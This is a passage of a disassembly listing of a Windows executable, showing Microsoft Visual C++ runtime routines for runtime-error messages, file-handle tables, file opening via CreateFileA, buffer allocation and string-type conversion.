		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423C07
		js	short loc_423C12
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D1E0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D222
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D2B6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423C07:				; CODE XREF: sub_423B80+40j
					; sub_423B80+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423BB3
; ---------------------------------------------------------------------------


loc_423C12:				; CODE XREF: sub_423B80+54j
		mov	eax, 0
		jmp	short loc_423C35
; ---------------------------------------------------------------------------


loc_423C19:				; CODE XREF: sub_423B80+36j
		mov	eax, 1
		jmp	short loc_423C35
; ---------------------------------------------------------------------------


loc_423C20:				; CODE XREF: sub_423B80+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D222
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423C35:				; CODE XREF: sub_423B80+97j
					; sub_423B80+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423B80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D222
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423C58	proc near		; CODE XREF: sub_41E0C9+9p
					; sub_41E0EE+9p
		mov	eax, dword_4DE640
		cmp	eax, 1
		jz	short loc_423C6F
		test	eax, eax
		jnz	short locret_423C90
		cmp	dword_43D5E4, 1
		jnz	short locret_423C90


loc_423C6F:				; CODE XREF: sub_423C58+8j
		push	0FCh
		call	sub_423C91
		mov	eax, dword_4DE7AC
		pop	ecx
		test	eax, eax
		jz	short loc_423C85
		call	eax


loc_423C85:				; CODE XREF: sub_423C58+29j
		push	0FFh
		call	sub_423C91
		pop	ecx

locret_423C90:				; CODE XREF: sub_423C58+Cj
					; sub_423C58+15j
		retn
sub_423C58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423C91	proc near		; CODE XREF: sub_41E0C9+12p
					; sub_41E0EE+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43FC78


loc_423CA4:				; CODE XREF: sub_423C91+20j
		cmp	edx, [eax]
		jz	short loc_423CB3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43FD08
		jl	short loc_423CA4


loc_423CB3:				; CODE XREF: sub_423C91+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43FC78[esi]
		jnz	loc_423DE1
		mov	eax, dword_4DE640
		cmp	eax, 1
		jz	loc_423DBB
		test	eax, eax
		jnz	short loc_423CE4
		cmp	dword_43D5E4, 1
		jz	loc_423DBB


loc_423CE4:				; CODE XREF: sub_423C91+44j
		cmp	edx, 0FCh
		jz	loc_423DE1
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_428078	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_423D1B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C520
		pop	ecx
		pop	ecx


loc_423D1B:				; CODE XREF: sub_423C91+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B650
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423D5E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B650
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BC60
		add	esp, 10h


loc_423D5E:				; CODE XREF: sub_423C91+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C520
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C530
		lea	eax, [ebp+var_A0]
		push	offset asc_428BF8 ; "\n\n"
		push	eax
		call	sub_41C530
		push	off_43FC7C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C530
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425448
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423DE1
; ---------------------------------------------------------------------------


loc_423DBB:				; CODE XREF: sub_423C91+3Cj
					; sub_423C91+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43FC7C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B650
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_428034	; GetStdHandle
		push	eax
		call	dword_4280F0	; WriteFile


loc_423DE1:				; CODE XREF: sub_423C91+2Ej
					; sub_423C91+59j ...
		pop	esi
		leave
		retn
sub_423C91	endp


; =============== S U B	R O U T	I N E =======================================



sub_423DE4	proc near		; CODE XREF: sub_4240FB:loc_424273p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DF920


loc_423DF3:				; CODE XREF: sub_423DE4+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423E30
		lea	edx, [eax+100h]


loc_423DFF:				; CODE XREF: sub_423DE4+28j
		cmp	eax, edx
		jnb	short loc_423E1F
		test	byte ptr [eax+4], 1
		jz	short loc_423E0E
		add	eax, 8
		jmp	short loc_423DFF
; ---------------------------------------------------------------------------


loc_423E0E:				; CODE XREF: sub_423DE4+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423E73


loc_423E1F:				; CODE XREF: sub_423DE4+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DFA20
		jl	short loc_423DF3
		jmp	short loc_423E73
; ---------------------------------------------------------------------------


loc_423E30:				; CODE XREF: sub_423DE4+13j
		mov	esi, 100h
		push	esi
		call	sub_41BB45
		test	eax, eax
		pop	ecx
		jz	short loc_423E73
		add	dword_4DFA20, 20h
		lea	ecx, ds:4DF920h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423E56:				; CODE XREF: sub_423DE4+88j
		cmp	eax, edx
		jnb	short loc_423E6E
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423E56
; ---------------------------------------------------------------------------


loc_423E6E:				; CODE XREF: sub_423DE4+74j
		shl	edi, 5
		mov	ebx, edi


loc_423E73:				; CODE XREF: sub_423DE4+39j
					; sub_423DE4+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423DE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E79	proc near		; CODE XREF: sub_4240FB+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DFA20
		push	edi
		jnb	short loc_423ED9
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DF920h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423ED9
		cmp	dword_43D5E4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423ECF
		sub	eax, 0
		jz	short loc_423EC6
		dec	eax
		jz	short loc_423EC1
		dec	eax
		jnz	short loc_423ECF
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423EC9
; ---------------------------------------------------------------------------


loc_423EC1:				; CODE XREF: sub_423E79+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423EC9
; ---------------------------------------------------------------------------


loc_423EC6:				; CODE XREF: sub_423E79+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423EC9:				; CODE XREF: sub_423E79+46j
					; sub_423E79+4Bj
		call	dword_42802C	; SetStdHandle


loc_423ECF:				; CODE XREF: sub_423E79+36j
					; sub_423E79+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423EED
; ---------------------------------------------------------------------------


loc_423ED9:				; CODE XREF: sub_423E79+Cj
					; sub_423E79+28j
		and	dword_4DE5C8, 0
		mov	dword_4DE5C4, 9
		or	eax, 0FFFFFFFFh


loc_423EED:				; CODE XREF: sub_423E79+5Ej
		pop	edi
		pop	esi
		retn
sub_423E79	endp


; =============== S U B	R O U T	I N E =======================================



sub_423EF0	proc near		; CODE XREF: sub_41E112+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DFA20
		push	edi
		jnb	short loc_423F53
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DF920h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_423F53
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_423F53
		cmp	dword_43D5E4, 1
		jnz	short loc_423F49
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423F40
		dec	ecx
		jz	short loc_423F3B
		dec	ecx
		jnz	short loc_423F49
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_423F43
; ---------------------------------------------------------------------------


loc_423F3B:				; CODE XREF: sub_423EF0+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_423F43
; ---------------------------------------------------------------------------


loc_423F40:				; CODE XREF: sub_423EF0+3Ej
		push	eax
		push	0FFFFFFF6h


loc_423F43:				; CODE XREF: sub_423EF0+49j
					; sub_423EF0+4Ej
		call	dword_42802C	; SetStdHandle


loc_423F49:				; CODE XREF: sub_423EF0+38j
					; sub_423EF0+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_423F67
; ---------------------------------------------------------------------------


loc_423F53:				; CODE XREF: sub_423EF0+Cj
					; sub_423EF0+2Aj ...
		and	dword_4DE5C8, 0
		mov	dword_4DE5C4, 9
		or	eax, 0FFFFFFFFh


loc_423F67:				; CODE XREF: sub_423EF0+61j
		pop	edi
		pop	esi
		retn
sub_423EF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F6A	proc near		; CODE XREF: sub_41E112+32p
					; sub_41E112+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DFA20
		jnb	short loc_423F92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DF920[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_423F92
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_423F92:				; CODE XREF: sub_423F6A+Aj
					; sub_423F6A+23j
		and	dword_4DE5C8, 0
		mov	dword_4DE5C4, 9
		or	eax, 0FFFFFFFFh
		retn
sub_423F6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FA7	proc near		; CODE XREF: sub_41E1F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DFA20
		jnb	short loc_423FF0
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DF920[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423FF0
		push	eax
		call	sub_423F6A
		pop	ecx
		push	eax
		call	dword_428028	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_423FE5
		call	dword_428094	; RtlGetLastWin32Error
		jmp	short loc_423FE7
; ---------------------------------------------------------------------------


loc_423FE5:				; CODE XREF: sub_423FA7+34j
		xor	eax, eax


loc_423FE7:				; CODE XREF: sub_423FA7+3Cj
		test	eax, eax
		jz	short locret_423FFD
		mov	dword_4DE5C8, eax


loc_423FF0:				; CODE XREF: sub_423FA7+Aj
					; sub_423FA7+22j
		mov	dword_4DE5C4, 9
		or	eax, 0FFFFFFFFh

locret_423FFD:				; CODE XREF: sub_423FA7+42j
		retn
sub_423FA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FFE	proc near		; DATA XREF: .XPack0:0042A024o
		mov	eax, dword_4DF900
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424012
		mov	eax, 200h
		jmp	short loc_424018
; ---------------------------------------------------------------------------


loc_424012:				; CODE XREF: sub_423FFE+Bj
		cmp	eax, esi
		jge	short loc_42401D
		mov	eax, esi


loc_424018:				; CODE XREF: sub_423FFE+12j
		mov	dword_4DF900, eax


loc_42401D:				; CODE XREF: sub_423FFE+16j
		push	4
		push	eax
		call	sub_4254D1
		pop	ecx
		mov	dword_4DE8E8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424051
		push	4
		push	esi
		mov	dword_4DF900, esi
		call	sub_4254D1
		pop	ecx
		mov	dword_4DE8E8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424051
		push	1Ah
		call	sub_41E0C9
		pop	ecx


loc_424051:				; CODE XREF: sub_423FFE+30j
					; sub_423FFE+49j
		xor	ecx, ecx
		mov	eax, offset off_43FD08


loc_424058:				; CODE XREF: sub_423FFE+6Ej
		mov	edx, dword_4DE8E8
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43FF88
		jl	short loc_424058
		xor	edx, edx
		mov	ecx, offset dword_43FD18


loc_424075:				; CODE XREF: sub_423FFE+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DF920[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424092
		test	eax, eax
		jnz	short loc_424095


loc_424092:				; CODE XREF: sub_423FFE+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_424095:				; CODE XREF: sub_423FFE+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43FD78
		jl	short loc_424075
		pop	esi
		retn
sub_423FFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240A3	proc near		; DATA XREF: .XPack0:0042A034o

; FUNCTION CHUNK AT 00425582 SIZE 00000058 BYTES

		call	sub_41E287
		cmp	byte_4DE604, 0
		jz	short locret_4240B6
		jmp	loc_425582
; ---------------------------------------------------------------------------

locret_4240B6:				; CODE XREF: sub_4240A3+Cj
		retn
sub_4240A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240B7	proc near		; CODE XREF: sub_41F6E3+32p
					; sub_41FC2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DE7B0
		push	1000h
		call	sub_41BB45
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_4240E0
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_4240F1
; ---------------------------------------------------------------------------


loc_4240E0:				; CODE XREF: sub_4240B7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_4240F1:				; CODE XREF: sub_4240B7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4240B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4240FB	proc near		; CODE XREF: sub_41F9CD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424121
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42412C
; ---------------------------------------------------------------------------


loc_424121:				; CODE XREF: sub_4240FB+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42412C:				; CODE XREF: sub_4240FB+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424146
		test	ch, 40h
		jnz	short loc_424142
		cmp	dword_4DE8C0, eax
		jz	short loc_424146


loc_424142:				; CODE XREF: sub_4240FB+3Dj
		or	[ebp+var_1], 80h


loc_424146:				; CODE XREF: sub_4240FB+38j
					; sub_4240FB+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_42417E
		dec	eax
		jz	short loc_424175
		dec	eax
		jz	short loc_42416C


loc_424157:				; CODE XREF: sub_4240FB+9Fj
					; sub_4240FB+E8j ...
		mov	dword_4DE5C4, 16h
		mov	dword_4DE5C8, ebx
		jmp	loc_424391
; ---------------------------------------------------------------------------


loc_42416C:				; CODE XREF: sub_4240FB+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_424185
; ---------------------------------------------------------------------------


loc_424175:				; CODE XREF: sub_4240FB+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_424185
; ---------------------------------------------------------------------------


loc_42417E:				; CODE XREF: sub_4240FB+54j
		mov	[ebp+var_C], 80000000h


loc_424185:				; CODE XREF: sub_4240FB+78j
					; sub_4240FB+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4241B3
		cmp	eax, 20h
		jz	short loc_4241AA
		cmp	eax, 30h
		jz	short loc_4241A1
		cmp	eax, 40h
		jnz	short loc_424157
		mov	[ebp+var_10], esi
		jmp	short loc_4241B6
; ---------------------------------------------------------------------------


loc_4241A1:				; CODE XREF: sub_4240FB+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4241B6
; ---------------------------------------------------------------------------


loc_4241AA:				; CODE XREF: sub_4240FB+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4241B6
; ---------------------------------------------------------------------------


loc_4241B3:				; CODE XREF: sub_4240FB+90j
		mov	[ebp+var_10], ebx


loc_4241B6:				; CODE XREF: sub_4240FB+A4j
					; sub_4240FB+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424200
		jz	short loc_4241FB
		cmp	ecx, ebx
		jz	short loc_4241FB
		cmp	ecx, edi
		jz	short loc_4241F2
		cmp	ecx, 200h
		jz	short loc_424219
		cmp	ecx, 300h
		jnz	loc_424157
		mov	[ebp+var_8], 2
		jmp	short loc_424229
; ---------------------------------------------------------------------------


loc_4241F2:				; CODE XREF: sub_4240FB+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424229
; ---------------------------------------------------------------------------


loc_4241FB:				; CODE XREF: sub_4240FB+D0j
					; sub_4240FB+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424229
; ---------------------------------------------------------------------------


loc_424200:				; CODE XREF: sub_4240FB+CEj
		cmp	ecx, 500h
		jz	short loc_424222
		cmp	ecx, 600h
		jz	short loc_424219
		cmp	ecx, edx
		jz	short loc_424222
		jmp	loc_424157
; ---------------------------------------------------------------------------


loc_424219:				; CODE XREF: sub_4240FB+E0j
					; sub_4240FB+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424229
; ---------------------------------------------------------------------------


loc_424222:				; CODE XREF: sub_4240FB+10Bj
					; sub_4240FB+117j
		mov	[ebp+var_8], 1


loc_424229:				; CODE XREF: sub_4240FB+F5j
					; sub_4240FB+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424248
		mov	ecx, dword_4DE5CC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424248
		push	1
		pop	esi


loc_424248:				; CODE XREF: sub_4240FB+138j
					; sub_4240FB+148j
		test	al, 40h
		jz	short loc_424256
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424256:				; CODE XREF: sub_4240FB+14Fj
		test	ah, 10h
		jz	short loc_42425D
		or	esi, edi


loc_42425D:				; CODE XREF: sub_4240FB+15Ej
		test	al, 20h
		jz	short loc_424269
		or	esi, 8000000h
		jmp	short loc_424273
; ---------------------------------------------------------------------------


loc_424269:				; CODE XREF: sub_4240FB+164j
		test	al, 10h
		jz	short loc_424273
		or	esi, 10000000h


loc_424273:				; CODE XREF: sub_4240FB+16Cj
					; sub_4240FB+170j
		call	sub_423DE4
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_424294
		and	dword_4DE5C8, 0
		mov	dword_4DE5C4, 18h
		jmp	short loc_4242D2
; ---------------------------------------------------------------------------


loc_424294:				; CODE XREF: sub_4240FB+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_4280F8	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4242C5
		push	esi
		call	dword_428030	; GetFileType
		test	eax, eax
		jnz	short loc_4242D9
		push	esi
		call	dword_428070	; CloseHandle


loc_4242C5:				; CODE XREF: sub_4240FB+1B6j
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		call	sub_420A7F
		pop	ecx


loc_4242D2:				; CODE XREF: sub_4240FB+197j
		mov	eax, edi
		jmp	loc_4243AF
; ---------------------------------------------------------------------------


loc_4242D9:				; CODE XREF: sub_4240FB+1C1j
		cmp	eax, 2
		jnz	short loc_4242E4
		or	[ebp+var_1], 40h
		jmp	short loc_4242ED
; ---------------------------------------------------------------------------


loc_4242E4:				; CODE XREF: sub_4240FB+1E1j
		cmp	eax, 3
		jnz	short loc_4242ED
		or	[ebp+var_1], 8


loc_4242ED:				; CODE XREF: sub_4240FB+1E7j
					; sub_4240FB+1ECj
		push	esi
		push	ebx
		call	sub_423E79
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DF920h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_424396
		test	al, 80h
		jz	short loc_424396
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_424396
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422DCB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42434B
		cmp	dword_4DE5C8, 83h
		jz	short loc_424396
		jmp	short loc_42438A
; ---------------------------------------------------------------------------


loc_42434B:				; CODE XREF: sub_4240FB+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F7BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_424378
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_424378
		push	[ebp+var_10]
		push	ebx
		call	sub_4255DA
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42438A


loc_424378:				; CODE XREF: sub_4240FB+265j
					; sub_4240FB+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422DCB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_424396


loc_42438A:				; CODE XREF: sub_4240FB+24Ej
					; sub_4240FB+27Bj
		push	ebx
		call	sub_41E112
		pop	ecx


loc_424391:				; CODE XREF: sub_4240FB+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4243AF
; ---------------------------------------------------------------------------


loc_424396:				; CODE XREF: sub_4240FB+221j
					; sub_4240FB+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4243AD
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4243AD
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4243AD:				; CODE XREF: sub_4240FB+29Fj
					; sub_4240FB+2A5j
		mov	eax, ebx


loc_4243AF:				; CODE XREF: sub_4240FB+1D9j
					; sub_4240FB+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4240FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4243B4	proc near		; CODE XREF: sub_41FBB5+5Ep
					; sub_420788+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428C38
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DE7B8
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424423
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_428928
		push	esi
		call	dword_428020	; GetStringTypeW
		test	eax, eax
		jz	short loc_424401
		mov	eax, esi
		jmp	short loc_42441E
; ---------------------------------------------------------------------------


loc_424401:				; CODE XREF: sub_4243B4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CE1C0
		push	esi
		push	ebx
		call	dword_428024	; GetStringTypeA
		test	eax, eax
		jz	loc_4244E9
		push	2
		pop	eax


loc_42441E:				; CODE XREF: sub_4243B4+4Bj
		mov	dword_4DE7B8, eax


loc_424423:				; CODE XREF: sub_4243B4+2Fj
		cmp	eax, 2
		jnz	short loc_42444C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424434
		mov	eax, dword_4DE684


loc_424434:				; CODE XREF: sub_4243B4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_428024	; GetStringTypeA
		jmp	loc_4244EB
; ---------------------------------------------------------------------------


loc_42444C:				; CODE XREF: sub_4243B4+72j
		cmp	eax, 1
		jnz	loc_4244E9
		cmp	[ebp+arg_10], ebx
		jnz	short loc_424462
		mov	eax, dword_4DE694
		mov	[ebp+arg_10], eax


loc_424462:				; CODE XREF: sub_4243B4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_4280E8	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_4244E9
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C190
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BC00
		add	esp, 0Ch
		jmp	short loc_4244B8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4244B8:				; CODE XREF: sub_4243B4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_4244E9
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_4280E8	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_4244E9
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_428020	; GetStringTypeW
		jmp	short loc_4244EB
; ---------------------------------------------------------------------------


loc_4244E9:				; CODE XREF: sub_4243B4+61j
					; sub_4243B4+9Bj ...
		xor	eax, eax


loc_4244EB:				; CODE XREF: sub_4243B4+93j
					; sub_4243B4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
